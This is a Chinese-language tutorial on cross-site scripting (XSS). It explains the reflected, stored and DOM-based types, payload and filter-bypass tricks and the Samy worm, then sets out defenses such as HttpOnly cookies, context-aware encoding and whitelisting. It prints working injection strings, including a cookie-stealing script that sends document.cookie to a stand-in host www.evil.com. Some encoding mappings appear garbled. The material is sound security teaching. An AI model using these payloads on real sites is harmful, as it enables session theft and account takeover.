XSS简介
XSS(Cross Site Script)攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
一开始,这种攻击的演示案例是跨域的,所以叫做"跨站脚本"。现在是否跨域已经不再重要,但是名字一直沿用下来。
XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。
下面举个XSS的例子
假如用户把页面输入的参数直接输出到页面上:
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
如果用户提交了一段HTML代码
http://www.test.com/test.php?param=<script>alert(/xss/)</script>
alert(/xss/)就会在页面中执行,弹出框显示/xss/。
这个例子就是XSS的一种:反射型XSS。
根据效果的不同,XSS可以分为三类
1.反射型XSS
反射型XSS只是简单地把用户输入的数据”反射“给浏览器。也就是说黑客往往需要诱使用户”点击“一个恶意链接,才能攻击成功。反射型XSS也叫”非持久型XSS”。
2.存储型XSS
存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。
比较常见的,黑客写下一篇包含恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意脚本保存在了服务端,这种XSS攻击就叫做“存储型XSS”。存储型XSS也叫做“持久型XSS”。
3.DOM Based XSS
DOM Based XSS从效果上来说也是反射型XSS,单独划分出来是因为它的形成原因比较特殊,发现它的安全专家提出了这种类型的XSS。出于历史原因把它单独作为一个分类了。
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
下面举个例子
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><script> function test() {var str = document.getElementById('text').value;document.getElementById('t').innerHTML = "<a href='" + str + "' >testLink</a>";} </script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />
</body>
</html>
输入框构造如下数据:
' onclick=alert(/xss/) //
它先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个引号。 输入后,页面代码变成了:
<a href="" onclick="alert(/xss/)" '>testLink</a>
点击新生成的这个链接,脚本将被执行。
其实这里还有另外一种利用方式,还可以选择闭合掉
<a>
标签,并插入一个新的HTML标签。尝试如下输入:
'><img src=# onerror=alert(/xss2/) /><'
页面代码变成了
<a href=""><img src="#" onerror="alert(/xss2/)"><''>testLink
</a>
脚本直接被执行,弹出/xss2/。
XSS攻击进阶
初识XSS Payload
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为"XSS Payload"。
XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。
一个最常见的XSS Payload,就是通过读取浏览器对象,从而发起“Cookie劫持”攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。
下面举个例子,攻击者先加载一个远程脚本:
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>
真正的XSS Payload写在这个脚本中,避免直接在URL参数中写入大量的JavaScript代码。
evil.js代码如下,它将document.cookie对象发送到了远端服务器
var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
Cookie的"HttpOnly"标识可以防止“Cookie劫持”,我们将在稍后具体介绍。
强大的XSS Payload
"Cookie劫持"并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站可能会把Cookie与客户端IP绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。
构造GET和POST请求
假设有篇博客所在域的某页面存在XSS漏洞,正常删除文章的链接是:
http://blog.com/article?m=delete&id=123
那么攻击者只需要知道文章的id,皆可以通过这个请求删除这篇文章了。
var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img);
攻击者只需要让博客作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。
对于POST请求,可以这样实现
第一个种方法
var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);
f.submit();
如果参数很多,通过构造DOM节点的方式,代码将十分冗长。可以通过innerHTML直接写html字符串的方式构造。
第二种方法可以使用XMLHttpRequest直接发送一个POST请求。
XSS钓鱼
前面介绍的,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。
比如之前“通过POST表单发消息”的例子,如果要求用户输入验证码,那么一般的XSS Payload都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。
但这也不能限制住XSS。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远端服务器——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload。
修改密码的问题稍微复杂点,攻击者可以将XSS与“钓鱼”相结合。利用JavaScript实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。
识别用户浏览器
攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。
比如使用XSS读取浏览器的UserAgent对象
alert(navigator.userAgent);
但是这个对象是可以伪造的,所以信息不一定准确。
可以有另外一种技巧,来更准确地识别用户的浏览器版本
由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。
比如:
if (window.ActiveXObject) // MSIE 6.0 or below
识别用户安装的软件
在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如Firefox的插件(Plugin)列表存放在一个DOM对象中,通过查询DOM可以遍历所有的插件。
CSS History Hack
通过CSS可以获取一个用户曾经访问过的网站。其原理利用的是style的visited属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
获取用户的真实IP地址
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?
JavaScript本身并没有提供获取本地IP地址的能力,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要具体情况具体分析。
XSS攻击平台
有安全研究者将许多功能封装起来,称为XSS攻击平台。这些平台主要是为了演示XSS的危害,以及方便渗透测试使用。
终极武器:XSS Worm
XSS也能形成蠕虫
Samy Worm
在2005年有年仅19岁的Samy Kamkar对MySpace.com发起的,这是Web安全史上第一个重量级的XSS Worm。
首先,Myspace网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的style属性,通过style还是有办法构造出XSS的
<div style="background:url('javascript:alert(1)')">
其次,Myspace同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以Samy用了”拆分法“绕过这些限制。
最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能:同时复制蠕虫自身进行传播。
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
比如,发送站内信、用户留言等页面,都是XSS Worm的高发区。
XSS构造技巧
利用字符编码
”百度搜藏”曾经在一个
<script>
标签中输出了一个变量
var redirectUrl = "\";alert(/xss/);";
变量处于双引号内,系统转义了双引号导致变量无法“escape”。
但是,返回页面是GBK/GB2312编码的,因此”%c1\“这两个字符组合在一起后,会成为一个Unicode字符。所以构造:
%c1";alert(/xss/);//
并提交,得到如下效果
var readirectUrl = "乱码";alert(2);//";
绕过长度限制
<input type=text value="$var" />
如果服务器对$var做个严格的长度限制,假如长度限制为20个字节
攻击者这样构造:
$var 为: "><script>alert(/xss/)</script>
超过了长度。
这样构造
$var 为: "onclick=alert(1)//
不会超过长度限制
最好的办法是将XSS Payload写到别处,再通过简短的代码加载它。
最常用的一个”藏代码“的地方,就是"localtion.hash",它的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容。
$var 修改为: " onclick="eval(location.hash.substr(1))
当然,还可以使用远程加载js的方法,以避免浏览器地址栏长度的限制。
使用标签
<base>
标签并不常用,它定义页面上所有使用"相对路径"标签的hosting地址。它可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。
攻击可以在页面中插入
<base>
标签,通过在远程服务器伪造图片、链接或脚本,劫持当前页面中所使用“相对路径”的标签
所以在设计XSS安全方案时,一定要过滤掉这个危险的标签。
window.name
window对象是浏览器的窗体,很多时候window对象不受同源策略限制,可以实现跨域、跨页面传递数据。
使用window.name可以缩短XSS Payload的长度
<script> window.name = "alert(document.cookie)";location.href = "http://www.xss.com" </script>
在同一个窗口打开XSS的站点后,只需要通过XSS执行代码
eval(window.name);
Apache Expect Header XSS
向服务器提交
Expect: <script>alert('xss');</script>
当服务器出错返回时,Expect头的内容未经任何处理便会写入页面。对于XSS攻击来说,JavaScript工作在渲染后的浏览器环境中,无法控制用户浏览器发出的HTTP头。该漏洞当初被认为是一个鸡肋。
但是,使用Flash,可以自定义大多数请求的HTTP头。因此,Flash在新版本中禁止用户发送Expect头。但后来发现可以通过注入HTTP头的方式绕过这个限制,Flash目前已经修补了该问题。
此类攻击,还可以通过Java Applet等构造HTTP请求的第三方插件来实现。
Anehta的回旋镖
反射型XSS也可能像存储型XSS一样利用。
回旋镖的思路是:如果在B域上存在一个反射型“XSS_B”,在A域上存在一个存储型“XSS_A”,当用户访问A域上的“XSS_A”时,同时嵌入B域上的“XSS_B“,则可以达到在A域的XSS攻击B域用户的目的。
我们知道,在IE中,
<iframe>
、
<img>
、
<link>
等标签都会拦截”第三方Cookie“的发送。在Firefox则无这种限制(第三方Cookie指得是保存在本地的Cookie,也就是服务器设置了expire时间的Cookie)。
所以对于Firefox,只需要在XSS_A处嵌入一个iframe即可
<iframe src="http://www.b.com/?xss..."></iframe>
对于IE,为了达到执行XSS_B的目的,可以使用一个
<form>
标签,在浏览器提交form表单时,不会拦截第三方Cookie的发送。因此,先在XSS_A上写一个
<form>
,自动提交到XSS_B,然后在XSS_B中再跳转回原来的XSS_A,完成了一个”回旋镖“。这种攻击的缺点是,用户会看到地址栏的变化。
Flash XSS
在Flash中是可以嵌入ActionScript脚本的,
getURL("javascript:alert(document.cookie)");
使用
<embed>
将Flash嵌入页面中。
在实现XSS Filter时,一般会禁用
<embed>
、
<object>
等标签。后者甚至可以加载ActiveX控件。
如果网站一定要使用Flash,如果仅仅是视频文件,则要求其转码为”flv文件“。flv是静态文件,不会产出安全隐患。如果是带动态脚本的Flash,可以通过Flash的配置参数限制。
限制Flash动态脚本的最重要的参数是”allowScriptAccess“,这个参数定义了Flash能否与HTML页面进行通信。它有三个可选值:
1.always 不做任何限制
2.sameDomain 只允许来自于本域的Flash与Html通信,默认值
3.nerver 禁止
allowNetworking 也非常关键,它能控制Flash与外部网络进行通信
1.all 允许所有网络 默认值
2.internal 不能与浏览器通信如navigateToURL,但可以调用其他的API
3.none 禁止
除了用户上传的Flash文件能够实施脚本攻击外,一些Flash也可能会产生XSS漏洞。
on (release) {getURL(_root.clickTAG, "_blank");
}
这段代码缺乏输入验证,会被XSS攻击。
XSS的防御
HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。它解决的是XSS后的Cookie劫持攻击。
HttpOnly是在服务器返回的响应头Set-Cookie上标记的:
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
输入检查
XSS要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用JavaScript进行输入检查,很容易被攻击者绕过。目前的普遍做法是,同时在客户端和服务端实现相同的输入检查。客户端检查可以阻挡大部分误操作的用户,从而节省服务器资源。
XSS输入检查一般会检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,将这些字符过滤或者编码。
比较智能的输入检查,可能会匹配XSS的特征。比如查找用户数据中是否包含了
<script>
、javascript等敏感字符。
这种输入检查的方式,称为XSS Filter。
XSS Filter只获取了用户提交的数据进行检查,但是并没有结合渲染页面的HTML代码,因此对语境的理解并不完整。
例如:
<script src="$var"></script>
用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。而大多数情况下,URL是合法的用户数据。
XSS Filter还有一个问题,对<、>的处理可能会改变用户语义。
比如
1+1<3
如果XSS Filter不够智能,粗暴地过滤或者替换<,则会改变用户原来的意思。
输出检查
既然输入检查存在这么多问题,那输出检查又如何呢?
一般来说,除了富文本输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
安全的编码函数
编码分为很多种,针对HTML代码的编码方式是HtmlEncode。 HtmlEncode并非专有名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1
为了对抗XSS,在HTMLEncode中要求至少转换以下字符:
& -> &
< -> <
> -> >
" -> "
' -> '
/ -> /
Javascript的编码方式可以使用JavaScriptEncode
它使用""对特殊字符进行转义。在对抗XSS时还要求输出的变量必须在引号内部,以避免造成安全问题。
比较两种写法
var x = escapeJavaScript($evil);
var y = '"'+escapeJavaScript($evil)+'"';
如果只是转义了几个危险字符,如’、”、<、>、\、&、#等,那么可能会输出
var x = 1;alert(2);
var y = "1;alert(2);";
攻击者即使想要逃脱出引号的范围,也会遇到困难。
var y = "\";alert(1);\/\/";
但是开发者没有这个习惯怎么办?
那就只能使用一个更加严格的JavaScriptEncode函数来保证安全了——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码
var x = 1;alert(2);
变成了
var x = 1\x3balert\x282\x29;
此外还有其他编码函数,如XMLEncode、JSONEncode等
只需要一种编码吗
XSS主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。
如Python的开发框架Django自带的模板系统"Django Templates",可以使用escape进行HtmlEncode,并且在Django1.0中得到了加强——默认所有的变量都会被escape。
但这样还是不能完全避免XSS问题,需要“在正确的地方使用正确的编码方式”
例如
<body><a href=# onclick="alert('$var');" >test</a>
</body>
如果用户输入
$var = htmlencode("');alert('2");
对于浏览去器来说,htmlparser会优先于JavaScript Parser执行
经过解析后,结果为
<body><a href=# onclick="alert('');alert('2');" >test</a>
</body>
xss被注入。
xss发出的原因是,没有分清楚输出变量的语境,并非在模板引擎中使用了auto-escape就万事大吉了。
正确防御XSS
XSS的本质是一种“HTML注入”,想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。
在HTML标签中输出
<div>$var</div>
<a href=# >$var</a>
防御的方法是对变量使用HtmlEncode
在HTML属性中输出
<div id="abc" name="$var" ></div>
防御的方法是对变量也是使用HtmlEncode
在script标签中输出
首先应该确保输出的变量在引号中:
<script> var x = "$var"; </script>
防御时使用JavaScriptEncode
在事件中输出
<a href=# onclick="funcA('$var')" >test</a>
防御方式和在script标签中输出类似
在CSS中输出
比如@import、url等直接加载XSS、expression(alert(‘xss’))等
一方面需尽可能避免用户可控制的变量在css中输出,如果必须有这样的需求,那么使用encodeForCSS
在地址栏输出
一般来说使用URLEncode即可,但是如果整个URL被用户完全控制,Protocal和Host是不能使用URLEncode的,否则会改变URL的语义。
[Protocal][Host][Path][Search][Hash]
对于如下的输出方式:
<a href="$var" >test</a>
攻击者可能会构造伪协议实施攻击
<a href="javascript:alert(1);" >test</a>
此外,“vbscript”、“dataURI”等伪协议也可以导致脚本执行。
一般来说,对于用户控制整个URL,应该先检查是否以“http”开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击,然后再对变量进行URLEncode。
处理富文本
网站允许用户提交一些自定义的HTML代码,称之为富文本。
在处理富文本时,还是要回到“输入检查”的思路上来。“输入检查”的主要问题是检查时还不知道变量的输出语境。但富文本数据,其语义是完整的HTML,在输出时也不会拼凑到某个标签的属性中。因此,可以特殊对待。
通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,事件应该被严格禁止、而一些危险的标签,比如iframe、script、base、form等也是应该严格禁止的。在标签选择上,应该使用白名单。比如,只允许a、img、div等比较安全的标签。“白名单”同样应该用于属性和事件的选择。
在富文本过滤中,处理CSS也是一件麻烦的事,因此应该禁止用户自定义CSS和style。如果不能禁止,那就需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
防御DOM Based XSS
DOM Based XSS前文提到的几种防御方法都不太适用。
DOM Based XSS是从JavaScript中输出数据到HTML页面里,而前文都是针对从服务器应用直接输出到HTML页面的XSS漏洞。
服务器执行了javascriptEscape,输出的数据又重新渲染到了页面中,对变量进行了解码,仍然会产生XSS。
正确的防御方法是,在$var输出到script时,执行一次javaScriptEncode,其次在输出到HTML页面时,如果输出到事件或者脚本,则要再做一次javaScriptEncode;如果输出到HTML内容或者属性,则再做一次HtmlEncode。
触发DOM Based XSS的地方有很多,以下几个地方是JavaScript输出到HTML页面的必经之路。
document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
…
需要重点关注这几个地方的参数是否可以被用户控制
除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能成为DOM Based XSS的输出点,也需要重点关注。
inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
…
换个角度看XSS的风险
前面都是从漏洞的形成原理上看的,如果从业务风险角度看则有不同的观点
一般来说,存储型XSSS的风险高于反射型。因为它保存在服务器上,有可能会跨页面存在。它不会改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。
从攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。
从风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的PageView高低,也可以分析出哪些页面受XSS攻击后的影响更大。
在修补漏洞时遇到的最大挑战之一是漏洞数量太多,开发者不太来得及立刻修复所有漏洞。从业务风险角度来重新定位每个XSS漏洞,就具有了重要意义。
版权归原作者 网络安全敢敢 所有, 如有侵权,请联系我们删除。